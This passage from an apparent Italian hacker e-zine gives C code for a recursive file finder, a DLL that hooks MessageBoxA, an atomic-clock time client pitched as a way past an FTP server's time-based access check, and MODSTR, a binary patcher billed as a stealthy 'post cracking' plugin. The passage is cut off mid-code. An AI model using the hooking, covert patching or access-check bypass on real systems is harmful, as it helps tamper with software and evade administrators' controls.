XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
 9. Find file ultrarapido (e applicazione d'esempio)
//---------------------------------------------------------------------------------------------------

 Una procedura decisamente veloce per recuperare informazioni da un hd.

 
int vedi(char *dir,char *spec){
 struct ffblk trova;
 int t;
 char s[0xff];
 metti("*.*");
 t = findfirst(s,&trova,FA_DIREC);
 while(!t){
  if(strstr(nome,spec))
   printf("%4d %s\\%s\n",c++,dir,nome);
   if(trova.ff_attrib==0x10){
     if(trova.ff_name[0]!='.'){
       metti(nome);
       vedi(s,spec);}}
   t=findnext(&trova);}}

 
 Tramite la struttura ffblk vengono recuperate le informazioni dalla table list sui nomi delle directory
 e dei file mettendoli a disposizione per eventuali elaborazioni.
 Usavo questo sistema (TANTO TEMPO FA!) per fare delle -piccole- modifiche velocemente .. emh.. a tutti
 gli exe presenti su un hd. :))

 
 Questo potrebbe un esempio -non malizioso- di utilizzo (quelli maliziosi li lascio alla vostra
 immaginazione!) 

 Quante volte vi hanno chiesto di fare un bookmark con tutti i siti che avete nelle preferenze?
 NESSUNA?? ha ha .. beh a me spesso e volentieri. 
 Potreste usare la procedura VEDI in questo modo

 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 bookmark.C
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 #include <stdio.h>
 #include <string.h>
 #include <dir.h>
 #include <dos.h>

int c=1;

int vedi(char *dir,char *spec){
 struct ffblk trova;
 int t;
 char s[200];
 FILE *f;
 sprintf(s,"%s\\%s",dir,"*.*");
 t = findfirst(s,&trova,FA_DIREC);
 while(!t){
  if(strstr(trova.ff_name,spec))
   {
    sprintf(s,"%s\\%s",dir,trova.ff_name);
    printf(":  %3d\n: %s\n",c++,s);
    f=fopen(s,"rb");
    fscanf(f,"%s",s);fscanf(f,"%s",s);
    printf(": ... %s\n\n",s);
    fclose(f);
   }
  if(trova.ff_attrib==0x10){
   if(trova.ff_name[0]!='.'){
     sprintf(s,"%s\\%s",dir,trova.ff_name);
     vedi(s,spec);}}
  t=findnext(&trova);}}

char *toup(char *a){
 int i=0;
 char *c=(char *)malloc(strlen(a)+2);
 while((c[i]=toupper(a[i]))!=0)i++;
 return(c);
}

int main(){
 clrscr();
 vedi("c:\\windows\\prefer~1",toup(".url"));
 printf("\n\nTrovati %d files.",c-1);} :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 

 con BOOKMARK > lista.txt

 otterete la lsita completa di tutti i siti che avrete messo nelle preferenze (usando explorer!)
 con le seguenti caratteristiche


 -------------------- lista.txt
 :    1
: c:\windows\prefer~1\STRANI\UNUSUA~1.URL
: ... URL=http://www.bme.freeq.com/skulls/

:    2
: c:\windows\prefer~1\RUNEST~1.URL
: ... URL=http://www.chem.lsu.edu/cbury/ETEP/Tolkien/R/rune/index.htm

:    3
: c:\windows\prefer~1\SCIENZA\UNIVER~1.URL
: ... URL=http://www.astro.virginia.edu/

:    4
: c:\windows\prefer~1\SCIENZA\SCIENT~1.URL
: ... URL=http://www.scientificamerican.com/askexpert/index.html

....
-------------------------


 (compilando a 32bit invece che a 16 come ho fatto io avrete anche la visualizzazione dei
  nomi lunghi replicando oltre alla url anche il titolo esatto che gli avevate precedentemente
  associato.)



 Nota di utilizzo.

 I nomi dei file e delle directory vengono letti come stringa quindi non e' possibile cercare file
 usando i jolly char dicendo ad esempio 

 vedi("c:\\windows","*.EXE");  (per cercare tutti gli EXE)

 ma dato che la procedura cerca gli spezzoni citati all'interno delle stringhe dei nomi
 sara' sufficiente scrivere

 vedi("c:\\windows",".EXE");  ..per cercare tutti gli EXE!


 oppure 

 vedi("c:\\windows",".TXT")  .. per cercare tutti i file di testo
 
 vedi("c:\\windows","SPP")   .. per cercare tutti i file e le directory che contengono la parola SPP
 
 vedi("c:\\windows","2.EXE") .. per cercare tutti i file con estensione EXE che finiscono col 
                                carattere "2"
 



 ps. Dato che la struttura ffblk replica i nomi tutti in caratteri maiuscoli e' necessario usare
 a nostra volta tutti-i-caratteri-maiuscoli per le considerazioni del caso.
 L'istruzione STRSTR poi, necessaria al controllo degli -spezzoni- ed usata per verificare la presenza 
 di questi ultimi  all'interno delle stringhe della name_file_table_list, e' case-sensitive! 
 (ovvero fa differenza tra "exe" ed "EXE"!)

 Nel programma sopra per usare le lettere minuscole io mi sono avvalso della procedura di supporto 
 TOUP :

-----------------------------
 char *toup(char *a){
  int i=0;
  char *c=(char *)malloc(strlen(a)+2);
  while((c[i]=toupper(a[i]))!=0)i++;
  return(c);
 }
-----------------------------

 al fine di convertire tutti i caratteri minuscoli di una stringa in maiuscoli.

 da qui la spiegazione della riga di ricerca nella mail procedure :
  
   vedi("c:\\windows\\prefer~1",toup(".url"));

 che altrimenti sarebbe dovuta essere :

   vedi("c:\\windows\\prefer~1",".URL");

 


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
10. Intercettare chiamate Api sostiuendo alle stesse procedure diverse.
//---------------------------------------------------------------------------------------------------

 
 due semplici programmi per intercettare la api MessageBox
 (con lo stesso sisteme e' semplice modificare anche altre chiamate ovviamente)

 1. la libreria DLL che si occupa di intercettare la MessageBox originale

-------------------------------- libreria.c
#include <windows.h>
#pragma hdrstop

typedef int(*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT);
typedef FARPROC  (*SETPROCADDRESS)(HMODULE , PSTR, FARPROC);

HMODULE a= NULL;
HMODULE	b= NULL;
HMODULE	c= NULL;
MESSAGEBOX d = NULL;
SETPROCADDRESS id = NULL;
char buf[256];

int WINAPI INTERCETTA(HWND ha,LPCTSTR lt,LPCTSTR tx,UINT tt){
return d(ha,lt," testo che INVECE appare. ;-)  " ,tt);}

BOOL WINAPI DLLEntry(HMODULE un, DWORD caso, LPVOID xxx)
{
switch(caso){
  case DLL_PROCESS_ATTACH:
    a = un;
    b = LoadLibrary("..\\newapi32.dll");
    id = (SETPROCADDRESS)GetProcAddress(b, "SetProcAddress");
    c = LoadLibrary("user32.dll");
    d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)INTERCETTA);
    break;
  case DLL_PROCESS_DETACH:
    d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)d);
    FreeLibrary(b);
    break;
  default: break;}
return TRUE;
}

--------------------------------


programma di prova.
-------------------------------- programma.c
#include <windows.h>
#include <stdio.h>

typedef int	(*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT);

MESSAGEBOX	mb = NULL;
HMODULE		hu = NULL;

main()
{
 HMODULE bb;
 CHAR	ch;
 hu = LoadLibrary("user32.dll");
 bb = LoadLibrary("libreria.dll");
 if(bb){
   mb=(MESSAGEBOX)GetProcAddress(hu, "MessageBoxA");
   (mb)(NULL,"Testo che dovrebbe apparire ","Titolo",MB_OK);
   FreeLibrary(bb);};
   FreeLibrary(hu);
   return TRUE;}

--------------------------------


 Il semplice caricamento della libreria LIBRERIA.DLL installa la nostra nuova api sopra quella gia'
 preesistente intervenendo sul risultato della operazione di creazione del form message.

 Normalmente dovrebbe apparire un form message con titolo "Titolo" e con testo "Testo che dovrebbe 
 apparire" .. all'atto della chiamata libreria.dll sostituisce al testo originale la scritta
 "Testo che INVECE appare. ;-)"

 A cosa potrebbe servire? .. BOOHHH .. ha ha ha
 a qualcosa servira' di certo a gente con la vostra fervida immaginazione. :))


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
11. Time server in c, come linkarsi ad un orologio atomico.
//---------------------------------------------------------------------------------------------------

 Questo me lo aveva chiesto HAL9000 preoccupato del fatto che doveva collegarsi ad un sito FTP
 della sua universita'.
 L'amministratore del sito aveva pensato bene di installare un robot che verificava il time event
 di connessione dei nuovi utenti. Perche' questo?
 L'idea era buona. Il server era connesso direttamente all'orologio atomico del cnr e dato che gli
 utenti interni sfruttavano terminali passivi connessi alla stessa macchina 
 (e che quindi erano linkati allo stesso timer) era logico presupporre che solo utenti in possesso di
 password e recanti time event analoghi o differenti di pochissimo dal server provenivano dall'interno
 indipendentemente dall'ip mostrato.
 Ma fatta la legge.. he he ..
 Dal cercare di connettersi al server ftp modificando preventivamente il proprio orologio interno 
 (e la data) sull'ora dell'orologio atomico del cnr e' venuto fuori questo programma.

 Un time server tipo quello del CNR e' un servizio molto semplice ed efficace.
 
 Ci si connette all'Ip prestabilito su una porta che solitamente e' la n.13.
 A seconda del server utilizzato si avranno diversi tipi di risposta.

 Il time server del CNR e' decisamente molto evoluto in quanto controlla dall'IP la zona di provenienza
 degli utenti che si connettono al servizio e replica con una stringa di caratteri contenente la data 
 e l'ora adeguata alla zona del richiedente (ora legale compresa)
 Quindi collegandosi da Boston si avrebbe l'ora di Boston, collegandosi da Firenze quella di Firenze..
 e cosi' via.
 Fa eccezione il caso di Pisa. I pisani infatti nella maggior parte dei casi non sono in grado ne di
 leggere l'italiano ne di leggere l'ora sull'orologio e quindi nel loro caso il server invia dei piccoli
 disegni esplicativi: 
 un aratro se e' mattina, un tegame se e' mezzogiorno, un berrettino da notte se sono le 18.00 e una
 donnina con la gonna sollevata per i pisani che soffrono di insonnia e si attardano
 alzati ben dopo l'ora di coricamento del pollame. :))
 Cmq se non siete di Pisa questo e' il programma che fa per voi:

 La base per la query e per la visualizzazione della risposta sarebbe tutta qui:

 
 ---------------------- Time server MINIMO:

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
ORA.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define SS "155.253.17.2"
#define PP 0x0d

main()
{
//--------------------------------------------
  WSAData a;
  SOCKET b;
  long gg;
  struct sockaddr_in c;
  int d,n,m;
  char e[0xff];
//--------------------------------------------
  gg=WSAStartup(0x0101,&a);
  b = socket(AF_INET,SOCK_STREAM,0);
  c.sin_family = AF_INET;
  c.sin_port = htons(PP);
  c.sin_addr.s_addr = inet_addr(SS);
  d=connect(b,(struct sockaddr *)&c,sizeof(c));
  n=recv(b,e,sizeof(e),0);
   for(m=1;m<=n; m++)
    printf("%c",e[m-1]);
   printf("\n");
  closesocket(b);
//--------------------------------------------
}

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 Il programma apre un socket alla posta 13 sul servizio dell'orologia atomico del CNR interrogandolo
 sull'ora e sulla data.
 Quindi visualizza sulla consolle la stringa di risposta.


 Ovviamente per andare a modificare l'ora sul proprio computer sono necessari altri passaggi.
 Il programma completo e' quindi questo:



::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 OROFIN.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <dos.h>
#include <conio.h>
#include <math.h>
#include <windows.h>
#include <winsock.h>
#define PP 0x0d
#define L fscanf(f,"%s",ps)
#define ORE mid(ps,0,p1)
#define MIN mid(ps,p1+1,p2-p1-1)
#define SEC mid(ps,p2+1,strlen(ps)-p2)
#define SS "155.253.17.2"
//------------------------------------------------------------------------------

// --------- Prototipi
//------------------------------------------------------------------------------
char *mid(char *str,int pos,int nc);
int instr(char *st1,char *st2,int pos);
long jl(int day,int month,int year);
// --------- Dichiarazioni costanti
char mesi[12][4]={"Jan","Feb","Mar","Apr","May","Jun",
		  "Jul","Aug","Sep","Oct","Nov","Dec"};
char giorni[7][4]={"Mon","Tue","Wed","Thu","Fri","Sat","Sun"};
//------------------------------------------------------------------------------


//------------------------------------------------------------------------------
main(int nf,char **par)
{
 // --------- Variabili e strutture
 WSAData a;
 SOCKET b;
 long gg;
 long g1,g2,g3;
 float pk;
 struct sockaddr_in c;
 int dp,n,m;
 char e[0xff];
 FILE *f;
 char ps[50],pp[10];
 int p1,p2;
 long sec1;
 struct time t;
 struct date d;

// --------- Verifica della sintassi
if(nf!=2){
  printf("\n+----------------------------------------------------+\n");
  printf("|     OROLOGIO ATOMICO DEL CNR : CLIENT LOCALE       |\n");
  printf("|       (c)2K Master www.spippolatori.com            |\n");
  printf("+----------------------------------------------------+\n");
  printf("| Sintassi : OROFIN -[c|s]                           |\n");
  printf("+----------------------------------------------------+\n");
  printf("| OROFIN -c (controlla e visualizza l'ora del server)|\n");
  printf("| OROFIN -s (sincronizza il pc locale col server)    |\n");
  printf("+----------------------------------------------------+\n");
  exit(0);
 }
if((!strstr(par[1],"-c"))&&(!strstr(par[1],"-s")))
 {
  printf("\n+----------------------------------------------------+\n");
  printf("|               PARAMETRO NON CORRETTO               |\n");
  printf("+----------------------------------------------------+\n");
  exit(0);
 }

 // --------- Recupera le informazioni dal server
 gg=WSAStartup(0x0101,&a);
 b = socket(AF_INET,SOCK_STREAM,0);
 c.sin_family = AF_INET;
 c.sin_port = htons(PP);
 c.sin_addr.s_addr = inet_addr(SS);
 dp=connect(b,(struct sockaddr *)&c,sizeof(c));
 n=recv(b,e,sizeof(e),0);
 f=fopen("Ora_esatta.txt","wb");
 for(m=1;m<=n; m++)
   fprintf(f,"%c",e[m-1]);
 fprintf(f,"%c",10);
 fclose(f);
 closesocket(b);

 // --------- Ora del PC
 gettime(&t);
 getdate(&d);

 // --------- Formatta i dati del server in stile dos
 printf("\nControllo dati Time-server atomic-clock CNR\n");
 printf("------------------------------------------------\n");
 f=fopen("Ora_esatta.txt","rb");
 fgets(ps,50,f);
 printf("Remoto : %s",ps);
 g1=jl(0x001f,0x0005,0x07a9);
 g2=jl(d.da_day,d.da_mon,d.da_year);
 pk=abs(g2-g1);
 g1=fmod(pk,7);
 printf("Locale : %s %s %02d %2d:%02d:%02d %4d\n",
         giorni[g1+2],mesi[d.da_mon-1],d.da_day,t.ti_hour,t.ti_min,t.ti_sec,d.da_year);
 printf("------------------------------------------------\n");
 printf("Remoto : Locale\n");
 rewind(f);
 L;printf("  %4s : %4s ... Giorno della settimana\n",ps,giorni[g1+2]);
 L;printf("  %4s : %4s ... Mese\n",ps,mesi[d.da_mon-1]);
 for(m=0;m<12;m++)if(strstr(mesi[m],ps))d.da_mon=m+1;
 L;printf("  %4s : %4d ... Giorno del mese\n",ps,d.da_day);
 d.da_day=atoi(ps);
 L;p1=instr(ps,":",0);p2=instr(ps,":",p1+1);
 printf("  %4s : %4d ... Ore\n",ORE,t.ti_hour);
 t.ti_hour=atoi(ORE);
 printf("  %4s : %4d ... Minuti\n",MIN,t.ti_min);
 t.ti_min=atoi(MIN);
 printf("  %4s : %4d ... Secondi\n",SEC,t.ti_sec);
 sec1=atoi(ORE)*3600+atoi(MIN)*60+atoi(SEC)-
      t.ti_hour*3600-t.ti_min*60-t.ti_sec;
 t.ti_sec=atoi(SEC);
 L;printf("  %4s : %4d ... Anno\n",ps,d.da_year);
 d.da_year=atoi(ps);

 // --------- calcola la differenza in secondi tra i due timer
 // --------- senza considerare la data.
 printf("------------------------------------------------\n");
 printf("Differenza Timer Server-Locale = %ld sec.\n",sec1);
 printf("------------------------------------------------\n\n");
 fclose(f);

 // --------- Setta timer e data del pc locale con i dati ricevuti
 // --------- dall'orologio atomico del CNR.
 if(strstr(par[1],"-s"))
  {
   settime(&t);
   setdate(&d);
   printf("------------------------------------------------\n");
   printf(" PC Locale sincronizzato.\n");
   printf("------------------------------------------------\n");
  }
 } // --------- fine
//------------------------------------------------------------------------------


// --------- Procedure di supporto
//------------------------------------------------------------------------------
char *mid(char *str,int pos,int nc)
{
 char s[0xff];
 int n,k=0;
 for(n=pos;n<=pos+nc-1;n++)
   s[k++]=str[n];
 s[k]=0;
 return(s);
}
//------------------------------------------------------------------------------

//------------------------------------------------------------------------------
int instr(char *st1,char *st2,int pos)
{
 int tro,n,m;
 for(n=pos;n<=strlen(st1)-strlen(st2);n++){
  tro=1;
  for(m=n;m<=n+strlen(st2)-1;m++)
    if(st1[m]!=st2[m-n])tro=0;
    if(tro==1)return(n);}
 return(-1);
}
//------------------------------------------------------------------------------

//------------------------------------------------------------------------------
long jl(int gr,int ms,int an)
{
    long un,du,tr,qu;
    if(an<100)an+=1900;
    if(an<1000)an+=2000;
    if(ms>2){tr=(long)(ms-3);qu=(long)an;}
    else{tr=(long)(ms+9);qu=(long)(an-1);}
    un=(qu/100);
    du=qu-(100*un);
    return((146097L*un)/4L+(1461L*du)/
	    4L+(153L*tr+2)/5L+1721119L+(long)gr);
}
//------------------------------------------------------------------------------



 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 Come funziona?

 Basta compilarlo e chiamarlo senza parametri per avere un po' di aiuto.

 Cmq la sintassi e' questa (molto semplice ed immediata)

  
  OROFIN -c  

 per controllare solamente l'ora e la data in arrivo dal server ed confrontarla con quella del proprio
 orologio in locale visualizzando i secondi di differenza.


  OROFIN -s


 per controllare e successivamente settare l'ora del proprio orologio con quella dell'orologio atomico
 del CNR.



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
12. Tool per il post cracking rapido.
//---------------------------------------------------------------------------------------------------

 
 L'ho inserito sin dall'inizio come plugin per lo stealth installer 2 data la sua enorme utilita'
 e il funzionamento a sua volta completamente stealth.
 
 Lo replico qui per chi -impaurito- dalle opzioni (mi rendo conto!) non troppo semplici dello 
 stealth installer non ha avuto ancora occasione di provarlo.

 Il funzionamento e la sintassi deicomandi e' questa:

 
   1.  MODSTR.exe   [ versione 2 ]

   Modstr e' un plugin specifico per SI2 [ma nella toglie che possa essere usato anche 
   separatamente ;-) ].
   
   Serve per modificare in maniera anonima un programma qualsiasi .. sia esso un file di
   testo che un un eseguibile, in maniera sicura, veloce e sopratutto invisibile 
   all'utente finale.


  SINTASSI :

       MODSTR <file>   STR:         <str1>   <str2>
   
       MODSTR  <file>  <N>  HEX:    <d1> <d2> ... <dN>   <a1> <a2> ... <aN>
       MODSTR  <file>  <N>  DEC:    <d1> <d2> ... <dN>   <a1> <a2> ... <aN>

       MODSTR  <file>  STRASS:      <pos>    <str1> 

       MODSTR  <file>  HEXASS:      <pos>    <d1> <d2> ... <dN>
       MODSTR  <file>  DECASS:      <pos>    <d1> <d2> ... <dN>
   

       MODSTR  <file>  STRFIN:      <pos>    <str1>
 
       MODSTR  <file>  HEXFIN:      <pos>    <d1> <d2> ... <dN>
       MODSTR  <file>  DECFIN:      <pos>    <d1> <d2> ... <dN>
   
       MODSTR  <file>  STRREL:      <pos>    <str1>    <str2>
 
       MODSTR  <file>  <N>  HEXREL: <pos>    <d1> <d2> ... <dN>   <a1> <a2> ... <aN> 
       MODSTR  <file>  <N>  DECREL: <pos>    <d1> <d2> ... <dN>   <a1> <a2> ... <aN> 
       
 

  //---------------------------------------------------------------------------------
        (modifica di stringhe ASCII)  
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>   STR:   <stringa_da>   <stringa_a> 

        stringa_da = stringa da cercare nel programma nome_file e da modificare con
        stringa_a .. ogni occorrenza sara' cambiata.

        es: MODSTR c:\windows\prog.exe  STR:  Start  Parti

        .. da ricordare che Parti e' una stringa diversa da parti o da parTi visto
        che il programma e' case-sensitive.
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>   STRASS:  <pos>   <str>

        inserisce nel file la stringa str a partire dalla posizione pos.

        es: MODSTR c:\windows\prog.exe  STRASS: 0 PK

        cambia i primi due byte del file prog.exe in PK
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>   STRFIN:  <pos>   <str>

        stesse specifiche di STRASS: ma la posizione pos e' calcolata a partire
        dall'ultimo byte del file in questione.

        es: MODSTR c:\windows\prog.exe STRFIN: 5 PIPPO

        sostituisce gli ultimi 5 byte del file prog exe con la parola PIPPO.

        es: MODSTR c:\windows\prog.exe STRFIN: 0 PIPPO
      
        Aggiunge i bytes della parola PIPPO alla fine del file prog.exe
 //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>   STRREL:  <pos>  <stringa_da>   <stringa_a> 

        stringa_da = stringa da cercare nel programma nome_file e da modificare con
        stringa_a .. sara' cambiata una sola occorrenza a partire dala locazione pos

        es: MODSTR c:\windows\prog.exe  STRREL:  5000 Start  Parti

        cambia la prima occorrenza che trova in prog.exe da Start a Parti ignorando
        i primi 5000 bytes.
  //---------------------------------------------------------------------------------
 



 //---------------------------------------------------------------------------------
    b.  (modifica di dati in codice esadecimale) 
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  <N>   HEX:  da1 da2 da3 ... daN   a1 a2 a3 ... aN

        cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN             
        Cambia tutte le occorrenze che trova nel file
        
        MODSTR c:\windows\prog.exe  5   HEX:   53 74 61 72 74   50 61 72 74 69 
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  HEXASS:   <pos>   da1 da2 da3 ... daN
         
        sostituisce al file originale N byte a partire dalla locazione pos.
        
        MODSTR c:\windows\prog.exe  HEXASS:   12384  53 74 61 FF 74  
           
        i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74 61 FF 75
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  HEXFIN:   <pos>   da1 da2 da3 ... daN 

        come sopra ma partendo dalla fine. (impostanto 0 come posizione o dichiarando
        una locazione inferiore al numero di bytes impostati l'eccedenza verra' 
        aggiunta al file.)
       
        MODSTR c:\windows\prog.exe HEXFIN:  100  53 74 61 FF 74  
           
        1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe 
        saranno 53 74 61 FF 75
  //---------------------------------------------------------------------------------
        MODSTR  <Nome_file>  <N>  HEXREL:  <pos>  da1 da2 ... daN   a1 a2 ... aN

        cambia la prima serie di dati esadecimali che trova uguali a da1..daN con
        a1..aN a partire dalla locazione POS.

        es: MODSTR c:\windows\prog.exe  3 STRREL:  5000 FF 0D 0a  20 20 20


        a partire dal 5000'mo bytes del file prog.exe comincia a cercare una serie
        di dati FF+0D+0a  se la trova la cambia (una sola volta) con 20+20+20
  //---------------------------------------------------------------------------------

 
 


  //---------------------------------------------------------------------------------
    b.  (modifica di dati in codice decimale) 
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  <N>   DEC:  da1 da2 da3 ... daN   a1 a2 a3 ... aN

        cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN             
        Cambia tutte le occorrenze che trova nel file
        
        MODSTR c:\windows\prog.exe  5   DEC:   53 74 61 72 74   50 61 72 74 69 
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  DECASS:   <pos>   da1 da2 da3 ... daN
         
        sostituisce al file originale N byte a partire dalla locazione pos.
        
        MODSTR c:\windows\prog.exe  DECASS:   12384  53 74 61 255 74  
           
        i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74 61 255 75
  //---------------------------------------------------------------------------------
        MODSTR   <Nome_file>  DECFIN:   <pos>   da1 da2 da3 ... daN 

        come sopra ma partendo dalla fine. (impostanto 0 come posizione o dichiarando
        una locazione inferiore al numero di bytes impostati l'eccedenza verra' 
        aggiunta al file.)
       
        MODSTR c:\windows\prog.exe DECFIN:  100  53 74 61 255 74  
           
        1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe 
        saranno 53 74 61 255 75
  //---------------------------------------------------------------------------------
        MODSTR  <Nome_file>  <N>  DECREL:  <pos>  da1 da2 ... daN   a1 a2 ... aN

        cambia la prima serie di dati decimali che trova uguali a da1..daN con
        a1..aN a partire dalla locazione POS.

        es: MODSTR c:\windows\prog.exe  3 STRREL:  5000 255 13 10  32 32 32


        a partire dal 5000'mo bytes del file prog.exe comincia a cercare una serie
        di dati 255+13+10  se la trova la cambia (una sola volta) con 32+32+32
  //---------------------------------------------------------------------------------

 

 a ruota il sorgente del programma :

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
MODSTR.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <conio.h>
#include <dos.h>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
#define xdigit(c)(toupper(c)-(((c)>'9')?'A'-10:'0'))
#include <io.h>

unsigned int hs(char *cptr){
 unsigned int i, j = 0;
 while (cptr && *cptr && isxdigit(*cptr)){
    i=*cptr++-'0';
    if(9<i)i-=7;
    j<<=4;
    j|=(i&0x0f);}
 return(j);}

main(int nf,char **file){
 int a,b,trova,n;
 FILE *fp,*fp2;
 char str[200];
 int c,ok,pos,i;
 int fa=1;
 long lung;
 char leggi[255];
 char scrivi[255];
 c=open(file[1],0);lung=filelength(c);close(c);
 c=-1;

 if(nf<=4)exit(0);
 if(strstr(file[2],"STRASS:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,atol(file[3]),0);
    fputs(file[4],fp);
    fclose(fp);}
if(strstr(file[2],"STRFIN:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,lung-atol(file[3]),0);
    fputs(file[4],fp);
    fclose(fp);}
if(strstr(file[2],"DECASS:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,atol(file[3]),0);
    for(i=4;i<=nf-1;i++)
     fputc(atoi(file[i]),fp);
    fclose(fp);}
if(strstr(file[2],"DECFIN:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,lung-atol(file[3]),0);
    for(i=4;i<=nf-1;i++)
     fputc(atoi(file[i]),fp);
    fclose(fp);}
if(strstr(file[2],"HEXASS:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,atol(file[3]),0);
    for(i=4;i<=nf-1;i++)
     fputc(hs(file[i]),fp);
    fclose(fp);}
if(strstr(file[2],"HEXFIN:")){
    fp=fopen(file[1],"r+b");
    fseek(fp,lung-atol(file[3]),0);
    for(i=4;i<=nf-1;i++)
     fputc(hs(file[i]),fp);
    fclose(fp);}
if(strstr(file[3],"HEX:")){
    c=atoi(file[2]);
    for(n=0;n<c;n++){
      leggi[n]=hs(file[4+n]);
      scrivi[n]=hs(file[4+n+c]);}
    fa=1;}
if(strstr(file[2],"STR:")){
    if(strlen(file[3])>strlen(file[4])){
      printf("Dimensione errata delle stringhe");
      exit(0);}
    c=strlen(file[3]);
    for(n=0;n<strlen(file[3]);n++){
     leggi[n]=file[3][n];
     scrivi[n]=file[4][n];}
     fa=1;}
if(strstr(file[2],"STRREL:")){
    if(strlen(file[4])>strlen(file[5])){
      printf("Dimensione errata delle stringhe");
      exit(0);}
    c=strlen(file[4]);
    for(n=0;n<strlen(file[4]);n++){
     leggi[n]=file[4][n];
     scrivi[n]=file[5][n];}
     fa=2;}
if(strstr(file[3],"DECREL:")){
    c=atoi(file[2]);
    for(n=0;n<c;n++){
     leggi[n]=atoi(file[5+n]);
     scrivi[n]=atoi(file[5+n+c]);}
     fa=2;}
if(strstr(file[3],"HEXREL:")){
    c=atoi(file[2]);
    for(n=0;n<c;n++){
     leggi[n]=hs(file[5+n]);
     scrivi[n]=hs(file[5+n+c]);}
     fa=2;}
if(strstr(file[3],"DEC:")){
    c=atoi(file[2]);
    for(n=0;n<c;n++){
     leggi[n]=atoi(file[4+n]);
     scrivi[n]=atoi(file[4+n+c]);}
     fa=1;}

  if(c<0)exit(0);

 fp=fopen(file[1],"rb");
 fp2=fopen("passa.exe","wb");

 if(strstr("STRREL:",file[2])){
  for(i=0;i<=atol(file[3])-1;i++)
   fputc(fgetc(fp),fp2);}
